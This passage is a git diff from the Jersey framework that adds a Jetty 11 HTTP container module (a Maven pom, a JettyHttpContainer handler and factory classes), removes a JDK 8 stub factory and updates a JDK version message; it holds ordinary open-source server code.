components are ignored. Only first path segment will be used + * as context path, the rest will be ignored. + * @param c the servlet class. + * @return the http server, with the endpoint started. + * @throws Exception if an error occurs creating the container. + * @throws IllegalArgumentException if HTTP server URI is {@code null}. + */ + public static Server create(String u, Class<? extends Servlet> c) + throws Exception { + if (u == null) { + throw new IllegalArgumentException("The URI must not be null"); + } + + return create(URI.create(u), c); + } + + /** + * Create a {@link Server} that registers the declared + * servlet class. + * + * @param u the URI to create the http server. The URI scheme must be + * equal to "http". The URI user information and host + * are ignored If the URI port is not present then port 80 will be + * used. The URI query and fragment components are ignored. Only first path segment will be used + * as context path, the rest will be ignored. + * @param c the servlet class. + * @param initParams the servlet initialization parameters. + * @return the http server, with the endpoint started. + * @throws Exception if an error occurs creating the container. + * @throws IllegalArgumentException if HTTP server URI is {@code null}. + */ + public static Server create(String u, Class<? extends Servlet> c, + Map<String, String> initParams) + throws Exception { + if (u == null) { + throw new IllegalArgumentException("The URI must not be null"); + } + + return create(URI.create(u), c, initParams); + } + + /** + * Create a {@link Server} that registers the declared + * servlet class. + * + * @param u the URI to create the http server. The URI scheme must be + * equal to "http". The URI user information and host + * are ignored If the URI port is not present then port 80 will be + * used. The URI query and fragment components are ignored. Only first path segment will be used + * as context path, the rest will be ignored. + * @param c the servlet class. + * @return the http server, with the endpoint started. + * @throws Exception if an error occurs creating the container. + * @throws IllegalArgumentException if HTTP server URI is {@code null}. + */ + public static Server create(URI u, Class<? extends Servlet> c) + throws Exception { + return create(u, c, null); + } + + /** + * Create a {@link Server} that registers the declared + * servlet class. + * + * @param u the URI to create the http server. The URI scheme must be + * equal to "http". The URI user information and host + * are ignored If the URI port is not present then port 80 will be + * used. The URI query and fragment components are ignored. Only first path segment will be used + * as context path, the rest will be ignored. + * @param c the servlet class. + * @param initParams the servlet initialization parameters. + * @return the http server, with the endpoint started. + * @throws Exception if an error occurs creating the container. + * @throws IllegalArgumentException if HTTP server URI is {@code null}. + */ + public static Server create(URI u, Class<? extends Servlet> c, Map<String, String> initParams) + throws Exception { + return create(u, c, null, initParams, null); + } + + private static Server create(URI u, Class<? extends Servlet> c, Servlet servlet, + Map<String, String> initParams, Map<String, String> contextInitParams) + throws Exception { + if (u == null) { + throw new IllegalArgumentException("The URI must not be null"); + } + + String path = u.getPath(); + if (path == null) { + throw new IllegalArgumentException("The URI path, of the URI " + u + ", must be non-null"); + } else if (path.isEmpty()) { + throw new IllegalArgumentException("The URI path, of the URI " + u + ", must be present"); + } else if (path.charAt(0) != '/') { + throw new IllegalArgumentException("The URI path, of the URI " + u + ". must start with a '/'"); + } + + path = String.format("/%s", UriComponent.decodePath(u.getPath(), true).get(1).toString()); + WebAppContext context = new WebAppContext(); + context.setDisplayName("JettyContext"); + context.setContextPath(path); + context.setConfigurations(new Configuration[]{new WebXmlConfiguration()}); + ServletHolder holder; + if (c != null) { + holder = context.addServlet(c, "/*"); + } else { + holder = new ServletHolder(servlet); + context.addServlet(holder, "/*"); + } + + if (contextInitParams != null) { + for (Map.Entry<String, String> e : contextInitParams.entrySet()) { + context.setInitParameter(e.getKey(), e.getValue()); + } + } + + if (initParams != null) { + holder.setInitParameters(initParams); + } + + Server server = JettyHttpContainerFactory.createServer(u, false); + server.setHandler(context); + server.start(); + return server; + } + + /** + * Create a {@link Server} that registers the declared + * servlet instance. + * + * @param u the URI to create the HTTP server. The URI scheme must be + * equal to "http". The URI user information and host + * are ignored If the URI port is not present then port 80 will be + * used. The URI query and fragment components are ignored. Only first path segment will be used + * as context path, the rest will be ignored. + * @param servlet the servlet instance. + * @param initParams the servlet initialization parameters. + * @param contextInitParams the servlet context initialization parameters. + * @return the http server, with the endpoint started. + * @throws Exception if an error occurs creating the container. + * @throws IllegalArgumentException if HTTP server URI is {@code null}. + */ + public static Server create(URI u, Servlet servlet, Map<String, String> initParams, Map<String, String> contextInitParams) + throws Exception { + if (servlet == null) { + throw new IllegalArgumentException("The servlet must not be null"); + } + return create(u, null, servlet, initParams, contextInitParams); + } +} \ No newline at end of file
diff --git a/containers/jetty-servlet/src/main/java8/org/glassfish/jersey/jetty/servlet/JettyWebContainerFactory.java b/containers/jetty-servlet/src/main/java8/org/glassfish/jersey/jetty/servlet/JettyWebContainerFactory.java deleted file mode 100644 index 3d87ae8..0000000 --- a/containers/jetty-servlet/src/main/java8/org/glassfish/jersey/jetty/servlet/JettyWebContainerFactory.java +++ /dev/null
@@ -1,90 +0,0 @@ -/* - * Copyright (c) 2020 Oracle and/or its affiliates. All rights reserved. - * - * This program and the accompanying materials are made available under the - * terms of the Eclipse Public License v. 2.0, which is available at - * http://www.eclipse.org/legal/epl-2.0. - * - * This Source Code may also be made available under the following Secondary - * Licenses when the conditions for such availability set forth in the - * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, - * version 2 with the GNU Classpath Exception, which is available at - * https://www.gnu.org/software/classpath/license.html. - * - * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 - */ - -package org.glassfish.jersey.jetty.servlet; - -import java.net.URI; -import java.util.Map; - -import jakarta.servlet.Servlet; - -import jakarta.ws.rs.ProcessingException; -import org.eclipse.jetty.server.Server; -import org.glassfish.jersey.jetty.internal.LocalizationMessages; - -/** - * Jersey {@code Server} stub based on Jetty {@link org.eclipse.jetty.server.Server}. - * <p> - * For JDK 1.8 only since Jetty 11 does not support JDKs below 11 - */ -public final class JettyWebContainerFactory { - - private JettyWebContainerFactory() { - } - - - public static Server create(String u) - throws Exception { - throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED()); - } - - public static Server create(String u, Map<String, String> initParams) - throws Exception { - throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED()); - } - - public static Server create(URI u) - throws Exception { - throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED()); - } - - public static Server create(URI u, Map<String, String> initParams) - throws Exception { - throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED()); - } - - public static Server create(String u, Class<? extends Servlet> c) - throws Exception { - throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED()); - } - - public static Server create(String u, Class<? extends Servlet> c, - Map<String, String> initParams) - throws Exception { - throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED()); - } - - public static Server create(URI u, Class<? extends Servlet> c) - throws Exception { - throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED()); - } - - public static Server create(URI u, Class<? extends Servlet> c, Map<String, String> initParams) - throws Exception { - throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED()); - } - - private static Server create(URI u, Class<? extends Servlet> c, Servlet servlet, - Map<String, String> initParams, Map<String, String> contextInitParams) - throws Exception { - throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED()); - } - - public static Server create(URI u, Servlet servlet, Map<String, String> initParams, Map<String, String> contextInitParams) - throws Exception { - throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED()); - } -} \ No newline at end of file
diff --git a/containers/jetty-servlet/src/main/resources/org/glassfish/jersey/jetty/servlet/internal/localization.properties b/containers/jetty-servlet/src/main/resources/org/glassfish/jersey/jetty/servlet/internal/localization.properties index c362bf0..6504f0e 100644 --- a/containers/jetty-servlet/src/main/resources/org/glassfish/jersey/jetty/servlet/internal/localization.properties +++ b/containers/jetty-servlet/src/main/resources/org/glassfish/jersey/jetty/servlet/internal/localization.properties
@@ -1,5 +1,5 @@ # -# Copyright (c) 2020 Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2020, 2023 Oracle and/or its affiliates. All rights reserved. # # This program and the accompanying materials are made available under the # terms of the Eclipse Public License v. 2.0, which is available at @@ -15,4 +15,4 @@ # # {0} - status code; {1} - status reason message -not.supported=Jetty container is not supported on JDK version less than 11. +not.supported=Jetty container is not supported on JDK version less than 17.
diff --git a/containers/jetty11-http/pom.xml b/containers/jetty11-http/pom.xml new file mode 100644 index 0000000..1dd7db4 --- /dev/null +++ b/containers/jetty11-http/pom.xml
@@ -0,0 +1,134 @@ +<?xml version="1.0" encoding="UTF-8"?> +<!-- + + Copyright (c) 2013, 2025 Oracle and/or its affiliates. All rights reserved. + + This program and the accompanying materials are made available under the + terms of the Eclipse Public License v. 2.0, which is available at + http://www.eclipse.org/legal/epl-2.0. + + This Source Code may also be made available under the following Secondary + Licenses when the conditions for such availability set forth in the + Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + version 2 with the GNU Classpath Exception, which is available at + https://www.gnu.org/software/classpath/license.html. + + SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + +--> + +<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> + <modelVersion>4.0.0</modelVersion> + + <parent> + <artifactId>project</artifactId> + <groupId>org.glassfish.jersey.containers</groupId> + <version>3.1.99-SNAPSHOT</version> + </parent> + + <artifactId>jersey-container-jetty11-http</artifactId> + <packaging>jar</packaging> + <name>jersey-container-jetty11-http</name> + + <description>Jetty 11 Http Container</description> + + <dependencies> + <dependency> + <groupId>jakarta.inject</groupId> + <artifactId>jakarta.inject-api</artifactId> + </dependency> + <dependency> + <groupId>org.eclipse.jetty</groupId> + <artifactId>jetty-server</artifactId> + <version>${jetty11.version}</version> + <exclusions> + <exclusion> + <groupId>org.eclipse.jetty.toolchain</groupId> + <artifactId>jetty-jakarta-servlet-api</artifactId> + </exclusion> + <exclusion> + <groupId>org.slf4j</groupId> + <artifactId>slf4j-api</artifactId> + </exclusion> + <exclusion> + <groupId>org.eclipse.jetty</groupId> + <artifactId>jetty-util</artifactId> + </exclusion> + </exclusions> + </dependency> + <dependency> + <groupId>org.slf4j</groupId> + <artifactId>slf4j-api</artifactId> + <version>${slf4j.version}</version> + </dependency> + <dependency> + <groupId>jakarta.servlet</groupId> + <artifactId>jakarta.servlet-api</artifactId> + <scope>provided</scope> + </dependency> + <dependency> + <groupId>org.eclipse.jetty</groupId> + <artifactId>jetty-util</artifactId> + <version>${jetty11.version}</version> + <exclusions> + <exclusion> + <groupId>org.slf4j</groupId> + <artifactId>slf4j-api</artifactId> + </exclusion> + </exclusions> + </dependency> + <dependency> + <groupId>org.apache.httpcomponents</groupId> + <artifactId>httpclient</artifactId> + <scope>test</scope> + </dependency> + <dependency> + <groupId>org.hamcrest</groupId> + <artifactId>hamcrest</artifactId> + <scope>test</scope> + </dependency> + </dependencies> + + <build> + <plugins> + <plugin> + <groupId>com.sun.istack</groupId> + <artifactId>istack-commons-maven-plugin</artifactId> + <inherited>true</inherited> + </plugin> + <plugin> + <groupId>org.codehaus.mojo</groupId> + <artifactId>build-helper-maven-plugin</artifactId> + <inherited>true</inherited> + </plugin> + <plugin> + <groupId>org.apache.felix</groupId> + <artifactId>maven-bundle-plugin</artifactId> + <inherited>true</inherited> + <configuration> + <instructions> + <Import-Package> + ${jetty.osgi.version}, + * + </Import-Package> + </instructions> + </configuration> + </plugin> + <plugin> + <groupId>org.apache.maven.plugins</groupId> + <artifactId>maven-enforcer-plugin</artifactId> + <configuration> + <rulesToSkip>dependencyConvergence</rulesToSkip> + </configuration> + </plugin> + </plugins> + + <resources> + <resource> + <directory>${basedir}/src/main/resources</directory> + <filtering>true</filtering> + </resource> + </resources> + </build> + +</project>
diff --git a/containers/jetty11-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpContainer.java b/containers/jetty11-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpContainer.java new file mode 100644 index 0000000..dc680a3 --- /dev/null +++ b/containers/jetty11-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpContainer.java
@@ -0,0 +1,510 @@ +/* + * Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty; + +import java.io.IOException; +import java.io.OutputStream; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.lang.reflect.Type; +import java.net.URI; +import java.net.URISyntaxException; +import java.security.Principal; +import java.util.Enumeration; +import java.util.List; +import java.util.Map; +import java.util.concurrent.TimeUnit; +import java.util.logging.Level; +import java.util.logging.Logger; + +import jakarta.servlet.AsyncContext; +import jakarta.servlet.AsyncEvent; +import jakarta.servlet.AsyncListener; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.GenericType; +import jakarta.ws.rs.core.SecurityContext; + +import jakarta.inject.Inject; +import jakarta.inject.Provider; +import jakarta.servlet.ServletException; +import jakarta.servlet.http.HttpServletRequest; +import jakarta.servlet.http.HttpServletResponse; + +import org.glassfish.jersey.internal.MapPropertiesDelegate; +import org.glassfish.jersey.internal.inject.AbstractBinder; +import org.glassfish.jersey.internal.inject.ReferencingFactory; +import org.glassfish.jersey.internal.util.ExtendedLogger; +import org.glassfish.jersey.internal.util.collection.Ref; +import org.glassfish.jersey.jetty.internal.LocalizationMessages; +import org.glassfish.jersey.process.internal.RequestScoped; +import org.glassfish.jersey.server.ApplicationHandler; +import org.glassfish.jersey.server.ContainerException; +import org.glassfish.jersey.server.ContainerRequest; +import org.glassfish.jersey.server.ContainerResponse; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.server.ServerProperties; +import org.glassfish.jersey.server.internal.ContainerUtils; +import org.glassfish.jersey.server.spi.Container; +import org.glassfish.jersey.server.spi.ContainerResponseWriter; + +import org.eclipse.jetty.http.HttpStatus; +import org.eclipse.jetty.server.Request; +import org.eclipse.jetty.server.Response; +import org.eclipse.jetty.server.handler.AbstractHandler; + +/** + * Jersey {@code Container} implementation based on Jetty {@link org.eclipse.jetty.server.Handler}. + * + * @author Arul Dhesiaseelan (aruld@acm.org) + * @author Libor Kramolis + * @author Marek Potociar + */ +public final class JettyHttpContainer extends AbstractHandler implements Container { + + private static final ExtendedLogger LOGGER = + new ExtendedLogger(Logger.getLogger(JettyHttpContainer.class.getName()), Level.FINEST); + + private static final Type REQUEST_TYPE = (new GenericType<Ref<Request>>() {}).getType(); + private static final Type RESPONSE_TYPE = (new GenericType<Ref<Response>>() {}).getType(); + + private static final int INTERNAL_SERVER_ERROR = jakarta.ws.rs.core.Response.Status.INTERNAL_SERVER_ERROR.getStatusCode(); + private static final jakarta.ws.rs.core.Response.Status BAD_REQUEST_STATUS = jakarta.ws.rs.core.Response.Status.BAD_REQUEST; + + /** + * Cached value of configuration property + * {@link org.glassfish.jersey.server.ServerProperties#RESPONSE_SET_STATUS_OVER_SEND_ERROR}. + * If {@code true} method {@link HttpServletResponse#setStatus} is used over {@link HttpServletResponse#sendError}. + */ + private boolean configSetStatusOverSendError; + + /** + * Referencing factory for Jetty request. + */ + private static class JettyRequestReferencingFactory extends ReferencingFactory<Request> { + @Inject + public JettyRequestReferencingFactory(final Provider<Ref<Request>> referenceFactory) { + super(referenceFactory); + } + } + + /** + * Referencing factory for Jetty response. + */ + private static class JettyResponseReferencingFactory extends ReferencingFactory<Response> { + @Inject + public JettyResponseReferencingFactory(final Provider<Ref<Response>> referenceFactory) { + super(referenceFactory); + } + } + + /** + * An internal binder to enable Jetty HTTP container specific types injection. + * This binder allows to inject underlying Jetty HTTP request and response instances. + * Note that since Jetty {@code Request} class is not proxiable as it does not expose an empty constructor, + * the injection of Jetty request instance into singleton JAX-RS and Jersey providers is only supported via + * {@link jakarta.inject.Provider injection provider}. + */ + private static class JettyBinder extends AbstractBinder { + + @Override + protected void configure() { + bindFactory(JettyRequestReferencingFactory.class).to(Request.class) + .proxy(false).in(RequestScoped.class); + bindFactory(ReferencingFactory.<Request>referenceFactory()).to(new GenericType<Ref<Request>>() {}) + .in(RequestScoped.class); + + bindFactory(JettyResponseReferencingFactory.class).to(Response.class) + .proxy(false).in(RequestScoped.class); + bindFactory(ReferencingFactory.<Response>referenceFactory()).to(new GenericType<Ref<Response>>() {}) + .in(RequestScoped.class); + } + } + + private volatile ApplicationHandler appHandler; + + @Override + public void handle(final String target, final Request request, final HttpServletRequest httpServletRequest, + final HttpServletResponse httpServletResponse) throws IOException, ServletException { + + if (request.isHandled()) { + return; + } + + final Response response = request.getResponse(); + final ResponseWriter responseWriter = new ResponseWriter(request, response, configSetStatusOverSendError); + try { + LOGGER.debugLog(LocalizationMessages.CONTAINER_STARTED()); + final URI baseUri = getBaseUri(request); + final URI requestUri = getRequestUri(request, baseUri); + final ContainerRequest requestContext = new ContainerRequest( + baseUri, + requestUri, + request.getMethod(), + getSecurityContext(request), + new MapPropertiesDelegate(), + appHandler.getConfiguration()); + requestContext.setEntityStream(request.getInputStream()); + final Enumeration<String> headerNames = request.getHeaderNames(); + while (headerNames.hasMoreElements()) { + final String headerName = headerNames.nextElement(); + String headerValue = request.getHeader(headerName); + requestContext.headers(headerName, headerValue == null ? "" : headerValue); + } + requestContext.setWriter(responseWriter); + requestContext.setRequestScopedInitializer(injectionManager -> { + injectionManager.<Ref<Request>>getInstance(REQUEST_TYPE).set(request); + injectionManager.<Ref<Response>>getInstance(RESPONSE_TYPE).set(response); + }); + + // Mark the request as handled before generating the body of the response + request.setHandled(true); + appHandler.handle(requestContext); + } catch (URISyntaxException e) { + setResponseForInvalidUri(response, e); + } catch (final Exception ex) { + throw new RuntimeException(ex); + } + } + + private URI getRequestUri(final Request request, final URI baseUri) throws URISyntaxException { + final String serverAddress = getServerAddress(baseUri); + String uri = request.getRequestURI(); + + final String queryString = request.getQueryString(); + if (queryString != null) { + uri = uri + "?" + ContainerUtils.encodeUnsafeCharacters(queryString); + } + + return new URI(serverAddress + uri); + } + + private void setResponseForInvalidUri(final HttpServletResponse response, final Throwable throwable) throws IOException { + LOGGER.log(Level.FINER, "Error while processing request.", throwable); + + if (configSetStatusOverSendError) { + response.reset(); + //noinspection deprecation + response.setStatus(BAD_REQUEST_STATUS.getStatusCode()); + } else { + response.sendError(BAD_REQUEST_STATUS.getStatusCode(), BAD_REQUEST_STATUS.getReasonPhrase()); + } + } + + private String getServerAddress(URI baseUri) { + String serverAddress = baseUri.toString(); + if (serverAddress.charAt(serverAddress.length() - 1) == '/') { + return serverAddress.substring(0, serverAddress.length() - 1); + } + return serverAddress; + } + + private SecurityContext getSecurityContext(final Request request) { + return new SecurityContext() { + + @Override + public boolean isUserInRole(final String role) { + return request.isUserInRole(role); + } + + @Override + public boolean isSecure() { + return request.isSecure(); + } + + @Override + public Principal getUserPrincipal() { + return request.getUserPrincipal(); + } + + @Override + public String getAuthenticationScheme() { + return request.getAuthType(); + } + }; + } + + + private URI getBaseUri(final Request request) throws URISyntaxException { + return new URI(request.getScheme(), null, request.getServerName(), + request.getServerPort(), getBasePath(request), null, null); + } + + private String getBasePath(final Request request) { + final String contextPath = request.getContextPath(); + + if (contextPath == null || contextPath.isEmpty()) { + return "/"; + } else if (contextPath.charAt(contextPath.length() - 1) != '/') { + return contextPath + "/"; + } else { + return contextPath; + } + } + + private static final class ResponseWriter implements ContainerResponseWriter { + + private final Response response; + private final AsyncContext context; + private final boolean configSetStatusOverSendError; + + ResponseWriter(final Request request, final Response response, final boolean configSetStatusOverSendError) { + this.response = response; + this.context = request.startAsync(); + this.configSetStatusOverSendError = configSetStatusOverSendError; + } + + @Override + public OutputStream writeResponseStatusAndHeaders(final long contentLength, final ContainerResponse context) + throws ContainerException { + + final jakarta.ws.rs.core.Response.StatusType statusInfo = context.getStatusInfo(); + + final int code = statusInfo.getStatusCode(); + final String reason = statusInfo.getReasonPhrase() == null + ? HttpStatus.getMessage(code) : statusInfo.getReasonPhrase(); + + response.setStatusWithReason(code, reason); + + if (contentLength != -1 && contentLength < Integer.MAX_VALUE) { + response.setContentLength((int) contentLength); + } + for (final Map.Entry<String, List<String>> e : context.getStringHeaders().entrySet()) { + for (final String value : e.getValue()) { + response.addHeader(e.getKey(), value); + } + } + + try { + return response.getOutputStream(); + } catch (final IOException ioe) { + throw new ContainerException("Error during writing out the response headers.", ioe); + } + } + + @Override + public boolean suspend(final long timeOut, final TimeUnit timeUnit, final TimeoutHandler timeoutHandler) { + try { + if (timeOut > 0) { + final long timeoutMillis = TimeUnit.MILLISECONDS.convert(timeOut, timeUnit); + context.setTimeout(timeoutMillis); + } + context.addListener(new AsyncListener() { + @Override + public void onComplete(AsyncEvent asyncEvent) throws IOException { + + } + + @Override + public void onTimeout(AsyncEvent asyncEvent) throws IOException { + if (timeoutHandler != null) { + timeoutHandler.onTimeout(ResponseWriter.this); + } + } + + @Override + public void onError(AsyncEvent asyncEvent) throws IOException { + + } + + @Override + public void onStartAsync(AsyncEvent asyncEvent) throws IOException { + + } + }); + return true; + } catch (final Exception ex) { + return false; + } + } + + @Override + public void setSuspendTimeout(final long timeOut, final TimeUnit timeUnit) throws IllegalStateException { + if (timeOut > 0) { + final long timeoutMillis = TimeUnit.MILLISECONDS.convert(timeOut, timeUnit); + context.setTimeout(timeoutMillis); + } + } + + @Override + public void commit() { + try { + closeOutput(response); + } catch (final IOException e) { + LOGGER.log(Level.WARNING, LocalizationMessages.UNABLE_TO_CLOSE_RESPONSE(), e); + } finally { + if (context.getRequest().isAsyncStarted()) { + context.complete(); + } + LOGGER.log(Level.FINEST, "commit() called"); + } + } + + private void closeOutput(Response response) throws IOException { + try { + response.completeOutput(); + } catch (final IOException e) { + throw e; + } catch (NoSuchMethodError e) { + // try older Jetty Response#closeOutput + try { + Method method = response.getClass().getMethod("closeOutput"); + method.invoke(response); + } catch (NoSuchMethodException | InvocationTargetException | IllegalAccessException ex) { + throw new IOException(ex); + } + } + } + + @Override + public void failure(final Throwable error) { + try { + if (!response.isCommitted()) { + try { + if (configSetStatusOverSendError) { + response.reset(); + //noinspection deprecation + response.setStatus(INTERNAL_SERVER_ERROR, "Request failed."); + } else { + response.sendError(INTERNAL_SERVER_ERROR, "Request failed."); + } + } catch (final IllegalStateException ex) { + // a race condition externally committing the response can still occur... + LOGGER.log(Level.FINER, "Unable to reset failed response.", ex); + } catch (final IOException ex) { + throw new ContainerException(LocalizationMessages.EXCEPTION_SENDING_ERROR_RESPONSE(INTERNAL_SERVER_ERROR, + "Request failed."), ex); + } + } + } finally { + LOGGER.log(Level.FINEST, "failure(...) called"); + commit(); + rethrow(error); + } + } + + @Override + public boolean enableResponseBuffering() { + return false; + } + + /** + * Rethrow the original exception as required by JAX-RS, 3.3.4. + * + * @param error throwable to be re-thrown + */ + private void rethrow(final Throwable error) { + if (error instanceof RuntimeException) { + throw (RuntimeException) error; + } else { + throw new ContainerException(error); + } + } + + } + + @Override + public ResourceConfig getConfiguration() { + return appHandler.getConfiguration(); + } + + @Override + public void reload() { + reload(new ResourceConfig(getConfiguration())); + } + + @Override + public void reload(final ResourceConfig configuration) { + appHandler.onShutdown(this); + + appHandler = new ApplicationHandler(configuration.register(new JettyBinder())); + appHandler.onReload(this); + appHandler.onStartup(this); + cacheConfigSetStatusOverSendError(); + } + + @Override + public ApplicationHandler getApplicationHandler() { + return appHandler; + } + + /** + * Inform this container that the server has been started. + * This method must be implicitly called after the server containing this container is started. + * + * @throws java.lang.Exception if a problem occurred during server startup. + */ + @Override + protected void doStart() throws Exception { + super.doStart(); + appHandler.onStartup(this); + } + + /** + * Inform this container that the server is being stopped. + * This method must be implicitly called before the server containing this container is stopped. + * + * @throws java.lang.Exception if a problem occurred during server shutdown. + */ + @Override + public void doStop() throws Exception { + super.doStop(); + appHandler.onShutdown(this); + appHandler = null; + } + + /** + * Create a new Jetty HTTP container. + * + * @param application JAX-RS / Jersey application to be deployed on Jetty HTTP container. + * @param parentContext DI provider specific context with application's registered bindings. + */ + JettyHttpContainer(final Application application, final Object parentContext) { + this.appHandler = new ApplicationHandler(application, new JettyBinder(), parentContext); + } + + /** + * Create a new Jetty HTTP container. + * + * @param application JAX-RS / Jersey application to be deployed on Jetty HTTP container. + */ + JettyHttpContainer(final Application application) { + this.appHandler = new ApplicationHandler(application, new JettyBinder()); + + cacheConfigSetStatusOverSendError(); + } + + /** + * Create a new Jetty HTTP container. + * + * @param applicationClass JAX-RS / Jersey class of application to be deployed on Jetty HTTP container. + */ + JettyHttpContainer(final Class<? extends Application> applicationClass) { + this.appHandler = new ApplicationHandler(applicationClass, new JettyBinder()); + + cacheConfigSetStatusOverSendError(); + } + + /** + * The method reads and caches value of configuration property + * {@link ServerProperties#RESPONSE_SET_STATUS_OVER_SEND_ERROR} for future purposes. + */ + private void cacheConfigSetStatusOverSendError() { + this.configSetStatusOverSendError = ServerProperties.getValue(getConfiguration().getProperties(), + ServerProperties.RESPONSE_SET_STATUS_OVER_SEND_ERROR, false, Boolean.class); + } + +}
diff --git a/containers/jetty11-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpContainerFactory.java b/containers/jetty11-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpContainerFactory.java new file mode 100644 index 0000000..cb66f21 --- /dev/null +++ b/containers/jetty11-http/src/main/java/org/glassfish/jersey/jetty/JettyHttpContainerFactory.java
@@ -0,0 +1,319 @@ +/* + * Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty; + +import java.net.URI; +import java.util.concurrent.ThreadFactory; + +import jakarta.ws.rs.ProcessingException; +import jakarta.ws.rs.core.Configuration; + +import org.glassfish.jersey.innate.VirtualThreadUtil; +import org.glassfish.jersey.innate.virtual.LoomishExecutors; +import org.glassfish.jersey.internal.guava.ThreadFactoryBuilder; +import org.glassfish.jersey.jetty.internal.LocalizationMessages; +import org.glassfish.jersey.process.JerseyProcessingUncaughtExceptionHandler; +import org.glassfish.jersey.server.ContainerFactory; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.server.spi.Container; + +import org.eclipse.jetty.server.Connector; +import org.eclipse.jetty.server.HttpConfiguration; +import org.eclipse.jetty.server.HttpConnectionFactory; +import org.eclipse.jetty.server.SecureRequestCustomizer; +import org.eclipse.jetty.server.Server; +import org.eclipse.jetty.server.ServerConnector; +import org.eclipse.jetty.server.SslConnectionFactory; +import org.eclipse.jetty.util.ssl.SslContextFactory; +import org.eclipse.jetty.util.thread.QueuedThreadPool; + +/** + * Factory for creating and starting Jetty server handlers. This returns + * a handle to the started server as {@link Server} instances, which allows + * the server to be stopped by invoking the {@link org.eclipse.jetty.server.Server#stop()} method. + * <p/> + * To start the server in HTTPS mode an {@link SslContextFactory} can be provided. + * This will be used to decrypt and encrypt information sent over the + * connected TCP socket channel. + * + * @author Arul Dhesiaseelan (aruld@acm.org) + * @author Marek Potociar + */ +public final class JettyHttpContainerFactory { + + private JettyHttpContainerFactory() { + } + + /** + * Creates a {@link Server} instance that registers an {@link org.eclipse.jetty.server.Handler}. + * + * @param uri uri on which the {@link org.glassfish.jersey.server.ApplicationHandler} will be deployed. Only first path + * segment will be used as context path, the rest will be ignored. + * @return newly created {@link Server}. + * + * @throws ProcessingException in case of any failure when creating a new Jetty {@code Server} instance. + * @throws IllegalArgumentException if {@code uri} is {@code null}. + */ + public static Server createServer(final URI uri) throws ProcessingException { + return createServer(uri, null, null, true); + } + + /** + * Creates a {@link Server} instance that registers an {@link org.eclipse.jetty.server.Handler}. + * + * @param uri uri on which the {@link org.glassfish.jersey.server.ApplicationHandler} will be deployed. Only first path + * segment will be used as context path, the rest will be ignored. + * @param start if set to false, server will not get started, which allows to configure the underlying transport + * layer, see above for details. + * @return newly created {@link Server}. + * + * @throws ProcessingException in case of any failure when creating a new Jetty {@code Server} instance. + * @throws IllegalArgumentException if {@code uri} is {@code null}. + */ + public static Server createServer(final URI uri, final boolean start) throws ProcessingException { + return createServer(uri, null, null, start); + } + + /** + * Create a {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that + * in turn manages all root resource and provider classes declared by the + * resource configuration. + * <p/> + * This implementation defers to the + * {@link org.glassfish.jersey.server.ContainerFactory#createContainer(Class, jakarta.ws.rs.core.Application)} method + * for creating an Container that manages the root resources. + * + * @param uri the URI to create the http server. The URI scheme must be + * equal to "http". The URI user information and host + * are ignored If the URI port is not present then port 80 will be + * used. The URI path, query and fragment components are ignored. + * @param config the resource configuration. + * @return newly created {@link Server}. + * + * @throws ProcessingException in case of any failure when creating a new Jetty {@code Server} instance. + * @throws IllegalArgumentException if {@code uri} is {@code null}. + */ + public static Server createServer(final URI uri, final ResourceConfig config) + throws ProcessingException { + + final JettyHttpContainer container = ContainerFactory.createContainer(JettyHttpContainer.class, config); + return createServer(uri, null, container, true); + } + + /** + * Create a {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that + * in turn manages all root resource and provider classes declared by the + * resource configuration. + * <p/> + * This implementation defers to the + * {@link org.glassfish.jersey.server.ContainerFactory#createContainer(Class, jakarta.ws.rs.core.Application)} method + * for creating an Container that manages the root resources. + * + * @param uri URI on which the Jersey web application will be deployed. Only first path segment will be + * used as context path, the rest will be ignored. + * @param configuration web application configuration. + * @param start if set to false, server will not get started, which allows to configure the underlying + * transport layer, see 